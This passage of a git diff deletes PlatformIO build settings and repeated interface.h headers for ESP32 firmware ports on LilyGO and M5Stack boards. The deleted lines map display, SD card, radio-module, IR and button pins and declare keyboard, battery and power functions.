- -DLED=2 ;NEED TO SET SOMETHING HERE, at least -1
- -DRXLED=1
- -DLED_ON=HIGH
- -DLED_OFF=LOW
-
- ;Radio Frequency (one pin modules) pin setting
- -DRF_TX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}'
- -DRF_RX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}'
-
- ;CC1101 SPI connection pins
- ; best connection pins for higher speed https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-reference/peripherals/spi_master.html#gpio-matrix-and-io-mux
- -DUSE_CC1101_VIA_SPI
- -DCC1101_GDO0_PIN=3 ; or 38, or 47 or 48?
- -DCC1101_SS_PIN=12
- -DCC1101_MOSI_PIN=SPI_MOSI_PIN
- -DCC1101_SCK_PIN=SPI_SCK_PIN
- -DCC1101_MISO_PIN=SPI_MISO_PIN
- -DCC1101_GDO2_PIN=38 ; optional
-
- ; connections are the same as CC1101
- -DUSE_NRF24_VIA_SPI
- -DNRF24_CE_PIN=43 ; left Grove
- -DNRF24_SS_PIN=44 ; chip select
- -DNRF24_MOSI_PIN=SDCARD_MOSI
- -DNRF24_SCK_PIN=SDCARD_SCK
- -DNRF24_MISO_PIN=SDCARD_MISO
-
- ;Font sizes, depending on device
- -DFP=1
- -DFM=2
- -DFG=3
-
- ;Screen Setup
- -DHAS_SCREEN=1
- -DROTATION=3
- -DWIDTH=320
- -DHEIGHT=170
- -DBACKLIGHT=TFT_BL
- -DMINBRIGHT=1
- -DPIN_POWER_ON=15
-
- ;TFT_eSPI display
- -DUSER_SETUP_LOADED=1
- -DUSE_HSPI_PORT=1
- -DST7789_DRIVER=1
- -DTFT_WIDTH=170
- -DTFT_HEIGHT=320
- -DTFT_INVERSION_ON
- -DTFT_BL=21
- -DTFT_MISO=SPI_MISO_PIN
- -DTFT_MOSI=SPI_MOSI_PIN
- -DTFT_SCLK=SPI_SCK_PIN
- -DTFT_CS=41
- -DTFT_DC=16
- -DTFT_RST=-1
- -DTOUCH_CS=-1
- -DSMOOTH_FONT=1
- -DSPI_FREQUENCY=80000000
- -DSPI_READ_FREQUENCY=20000000
- -DSPI_TOUCH_FREQUENCY=2500000
-
- ;SD Card Setup pins
- -DSDCARD_CS=13
- -DSDCARD_SCK=SPI_SCK_PIN
- -DSDCARD_MISO=SPI_MISO_PIN
- -DSDCARD_MOSI=SPI_MOSI_PIN
-
- ;Default I2C port
- -DGROVE_SDA=8
- -DGROVE_SCL=18
-
- -DSPI_SCK_PIN=11
- -DSPI_MOSI_PIN=9
- -DSPI_MISO_PIN=10
- -DSPI_SS_PIN=8
-
-lib_deps =
- ${env.lib_deps}
- lewisxhe/XPowersLib @0.2.6
- mathertel/RotaryEncoder @1.5.3
-
-
-[env:lilygo-t-embed]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = lilygo-t-display-s3
-framework = arduino
-board_build.partitions = custom_16Mb.csv
-build_src_filter =${env.build_src_filter} +<../ports/lilygo-t-embed-cc1101>
-build_flags =
- ${env.build_flags}
- -Iports/lilygo-t-embed-cc1101
- -Os
- -DBOARD_HAS_PSRAM
- -mfix-esp32-psram-cache-issue
- -mfix-esp32-psram-cache-strategy=memw
- -DCORE_DEBUG_LEVEL=5
- -DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work
- -DREDRAW_DELAY=1 # Used to improve navigation on menus for this device
-
- -DT_EMBED=1 ;key for new device,
- ;-DT_EMBED_1101=1 ;mykeyboard.cpp: need map buttons an/or touchscreen and battery status value,
- ;settings.cpp: need map brighness control
- ;main.cpp: need set startup
- ;serialcmds.cpp: need set power off command
-
- ;Features Enabled
- ;FM Radio
- ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713
- -DFM_RSTPIN=40
- ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
- ;Microphone
- -DMIC_SPM1423=1 ;uncomment to enable Applicable for SPM1423 device
- -DPIN_CLK=21
- -DI2S_SCLK_PIN=21
- -DI2S_DATA_PIN=14
- -DPIN_DATA=14
-
- ;RGB LED runned by xylopyrographer/LiteLED@^1.2.0 library
- ;-DHAS_RGB_LED=1 ;uncomment to enable
- -DRGB_LED=21
-
- ;Have RTC Chip
- ;-DHAS_RTC=1
-
- ; SERIAL (GPS) dedicated pins
- -DSERIAL_TX=43 ;may be wrong
- -DSERIAL_RX=44
-
- ;Speaker to run music, compatible with NS4168
- -DHAS_NS4168_SPKR=1 ;uncomment to enable
- -DBCLK=7
- -DWCLK=5
- -DDOUT=6
- -DMCLK=39 # Microphone CLK
-
- ;Can run USB as HID
- -DUSB_as_HID=1 ;uncomment to enable
- ;-DBAD_TX=GROVE_SDA
- ;-DBAD_RX=GROVE_SCL
-
- ;Battery ADC read pin
- -DBAT_PIN=4
-
- ;Buttons configuration
- -DHAS_BTN=1
- -DBTN_ALIAS='"Mid"'
- -DSEL_BTN=0
- -DUP_BTN=-1 ;Dont have btns, use a encoder
- -DDW_BTN=-1 ;Dont have btns, use a encoder
- ;-DBK_BTN=6 ;Dont have this btn at all!
- -DBTN_ACT=LOW
-
- -DENCODER_INA=2
- -DENCODER_INB=1
- -DENCODER_KEY=0
-
- ;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins
-
- ;Infrared Led default pin and state
- -DIR_TX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}'
- -DIR_RX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}'
- -DLED=44
- -DRXLED=43
- -DLED_ON=HIGH
- -DLED_OFF=LOW
-
- ;Radio Frequency (one pin modules) pin setting
- -DRF_TX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}'
- -DRF_RX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}'
-
- ;CC1101 SPI connection pins
- ; best connection pins for higher speed https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-reference/peripherals/spi_master.html#gpio-matrix-and-io-mux
- -DUSE_CC1101_VIA_SPI
- -DCC1101_GDO0_PIN=44
- -DCC1101_SS_PIN=43
- -DCC1101_MOSI_PIN=SPI_MOSI_PIN
- -DCC1101_SCK_PIN=SPI_SCK_PIN
- -DCC1101_MISO_PIN=SPI_MISO_PIN
- ;-DCC1101_GDO2_PIN=14 ; optional
-
- ; connections are the same as CC1101
- -DUSE_NRF24_VIA_SPI
- -DNRF24_CE_PIN=44
- -DNRF24_SS_PIN=43
- -DNRF24_MOSI_PIN=SDCARD_MOSI
- -DNRF24_SCK_PIN=SDCARD_SCK
- -DNRF24_MISO_PIN=SDCARD_MISO
-
- ;Font sizes, depending on device
- -DFP=1
- -DFM=2
- -DFG=3
-
- ;Screen Setup
- -DHAS_SCREEN=1
- -DROTATION=3
- -DWIDTH=320
- -DHEIGHT=170
- -DBACKLIGHT=TFT_BL
- -DMINBRIGHT=1
- -DPIN_POWER_ON=46
-
- ;TFT_eSPI display
- -DUSER_SETUP_LOADED=1
- -DUSE_HSPI_PORT=1
- -DST7789_DRIVER=1
- -DTFT_WIDTH=170
- -DTFT_HEIGHT=320
- -DTFT_RGB_ORDER=TFT_RGB
- -DTFT_INVERSION_ON
- -DTFT_BL=15
- -DTFT_MISO=-1
- -DTFT_MOSI=11
- -DTFT_SCLK=12
- -DTFT_CS=10
- -DTFT_DC=13
- -DTFT_RST=9
- -DTOUCH_CS=-1
- -DSMOOTH_FONT=1
- -DSPI_FREQUENCY=40000000
- -DSPI_READ_FREQUENCY=20000000
- -DSPI_TOUCH_FREQUENCY=2500000
-
- ;SD Card Setup pins
- -DSDCARD_CS=39
- -DSDCARD_SCK=40
- -DSDCARD_MISO=38
- -DSDCARD_MOSI=41
-
- ;Default I2C port
- -DGROVE_SDA=44
- -DGROVE_SCL=43
-
- -DSPI_SCK_PIN=40
- -DSPI_MOSI_PIN=41
- -DSPI_MISO_PIN=38
- -DSPI_SS_PIN=17
-
-lib_deps =
- ${env.lib_deps}
- lewisxhe/XPowersLib @0.2.6
- mathertel/RotaryEncoder @1.5.3
-
-#################################### END OF LILYGO MODELS #######################################
diff --git a/ports/m5stack-cardputer/interface.h b/ports/m5stack-cardputer/interface.h
deleted file mode 100644
index a4cfd0a3..00000000
--- a/ports/m5stack-cardputer/interface.h
+++ /dev/null
@@ -1,130 +0,0 @@
-#pragma once
-#include
-#include
-
-#define HAS_KEYBOARD //has keyboard to use
-#define HAS_KEYBOARD_HID //has keyboard to use
-#define KB_HID_EXIT_MSG "fn + esc to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/m5stack-core/interface.h b/ports/m5stack-core/interface.h
deleted file mode 100644
index 844098c6..00000000
--- a/ports/m5stack-core/interface.h
+++ /dev/null
@@ -1,130 +0,0 @@
-#pragma once
-#include
-#include
-
-//#define HAS_KEYBOARD //has keyboard to use
-//#define HAS_KEYBOARD_HID //has keyboard to use
-//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/m5stack-core2/interface.h b/ports/m5stack-core2/interface.h
deleted file mode 100644
index 844098c6..00000000
--- a/ports/m5stack-core2/interface.h
+++ /dev/null
@@ -1,130 +0,0 @@
-#pragma once
-#include
-#include
-
-//#define HAS_KEYBOARD //has keyboard to use
-//#define HAS_KEYBOARD_HID //has keyboard to use
-//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/m5stack-cores3/interface.h b/ports/m5stack-cores3/interface.h
deleted file mode 100644
index 844098c6..00000000
--- a/ports/m5stack-cores3/interface.h
+++ /dev/null
@@ -1,130 +0,0 @@
-#pragma once
-#include
-#include
-
-//#define HAS_KEYBOARD //has keyboard to use
-//#define HAS_KEYBOARD_HID //has keyboard to use
-//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/m5stack-cores3/platformio.ini b/ports/m5stack-cores3/platformio.ini
deleted file mode 100644
index 444ea0a0..00000000
--- a/ports/m5stack-cores3/platformio.ini
+++ /dev/null
@@ -1,136 +0,0 @@
-; PlatformIO Project Configuration File
-;
-; Build options: build flags, source filter
-; Upload options: custom upload port, speed and extra flags
-; Library options: dependencies, extra library storages
-; Advanced options: extra scripting
-;
-; Please visit documentation for the other options and examples
-; https://docs.platformio.org/page/projectconf.html
-
-[env:m5stack-cores3]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = m5stack-cores3
-framework = arduino
-monitor_speed = 115200
-board_build.partitions = custom_16Mb.csv
-board_upload.flash_size = 16MB
-board_upload.maximum_size = 16777216
-build_src_filter =${env.build_src_filter} +<../ports/m5stack-cores3>
-build_flags =
- ${env.build_flags}
- -Iports/m5stack-cores3
- -DCORE_DEBUG_LEVEL=5
- -DARDUINO_USB_CDC_ON_BOOT=1
-
- -DM5STACK=1 ;key for new device,
- -DCORES3=1 ;mykeyboard.cpp: need map buttons an/or touchscreen,
- ;display.cpp: need map battery status value,
- ;settings.cpp: need map brighness control
- ;main.cpp: need set startup
- ;serialcmds.cpp: need set power off command
-
- ;Features Enabled
- ;FM Radio
- ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713
- -DFM_RSTPIN=18
- ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
-
- ;Microphone
- ;-DMIC_SPM1423=1 ;uncomment to enable Applicable for SPM1423 device
- -DPIN_CLK=-1
- -DI2S_SCLK_PIN=-1
- -DI2S_DATA_PIN=-1
- -DPIN_DATA=-1
-
- ;RGB LED runned by xylopyrographer/LiteLED@^1.2.0 library
- ;-DHAS_RGB_LED=1 ;uncomment to enable
- -DRGB_LED=-1
-
- ;Have RTC Chip
- -DHAS_RTC=1
-
- ;Speaker to run music, compatible with NS4168
- ;-DHAS_NS4168_SPKR=1 ;uncomment to enable
- -DBCLK=-1
- -DWCLK=-1
- -DDOUT=-1
-
- ;Can run USB as HID
- -DUSB_as_HID=1 ;uncomment to enable
-
- ;Battery ADC read pin
- ;-DBAT_PIN=10
-
- ;Buttons configuration
- ;-DHAS_BTN=1
- -DBTN_ALIAS='"Ok"'
- -DBTN_PIN=-1
- -DBTN_ACT=LOw
-
- ;Touchscreen Config
- -DHAS_TOUCH=1
-
- -DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins
-
- ;Infrared Led default pin and state
- -DIR_TX_PINS='{{"M5 IR Mod", GROVE_SDA}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
- -DIR_RX_PINS='{{"M5 IR Mod", GROVE_SCL}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
- -DLED=GROVE_SDA
- -DLED_ON=HIGH
- -DLED_OFF=LOW
-
- ;Radio Frequency (one pin modules) pin setting
- -DRF_TX_PINS='{{"M5 RF433T", GROVE_SDA}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
- -DRF_RX_PINS='{{"M5 RF433R", GROVE_SCL}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
-
- ;Font sizes, depending on device
- -DFP=1
- -DFM=2
- -DFG=3
-
- ;Screen Setup
- -DHAS_SCREEN=1
- -DROTATION=1
- -DWIDTH=320
- -DHEIGHT=220 ;240 - 50 for bottom margin
- ;-DBACKLIGHT=38
- ;-DMINBRIGHT=160
-
- ;TFT_eSPI Setup
- -DUSER_SETUP_LOADED=1
- -DILI9341_DRIVER=1
- -DTFT_INVERSION_ON=1
- -DUSE_HSPI_PORT=1
- -DM5STACK=1
- -DTFT_MOSI=37
- -DTFT_MISO=35
- -DTFT_SCLK=36
- -DTFT_CS=3
- -DTFT_DC=35
- -DTFT_RST=-1
- -DTFT_BL=-1
- -DTOUCH_CS=-1
- -DSMOOTH_FONT=1
- -DSPI_FREQUENCY=20000000
- -DSPI_READ_FREQUENCY=20000000
- -DSPI_TOUCH_FREQUENCY=2500000
-
- ;SD Card Setup pins
- -DSDCARD_CS=4
- -DSDCARD_SCK=36
- -DSDCARD_MISO=35
- -DSDCARD_MOSI=37
-
- ;Default I2C port
- -DGROVE_SDA=32
- -DGROVE_SCL=33
-
- -DSPI_SCK_PIN=0
- -DSPI_MOSI_PIN=GROVE_SDA
- -DSPI_MISO_PIN=GROVE_SCL
- -DSPI_SS_PIN=26
-
-lib_deps =
- ${env.lib_deps}
-
diff --git a/ports/m5stack-cplus1_1/interface.h b/ports/m5stack-cplus1_1/interface.h
deleted file mode 100644
index 844098c6..00000000
--- a/ports/m5stack-cplus1_1/interface.h
+++ /dev/null
@@ -1,130 +0,0 @@
-#pragma once
-#include
-#include
-
-//#define HAS_KEYBOARD //has keyboard to use
-//#define HAS_KEYBOARD_HID //has keyboard to use
-//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/m5stack-cplus2/interface.h b/ports/m5stack-cplus2/interface.h
deleted file mode 100644
index 844098c6..00000000
--- a/ports/m5stack-cplus2/interface.h
+++ /dev/null
@@ -1,130 +0,0 @@
-#pragma once
-#include
-#include
-
-//#define HAS_KEYBOARD //has keyboard to use
-//#define HAS_KEYBOARD_HID //has keyboard to use
-//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
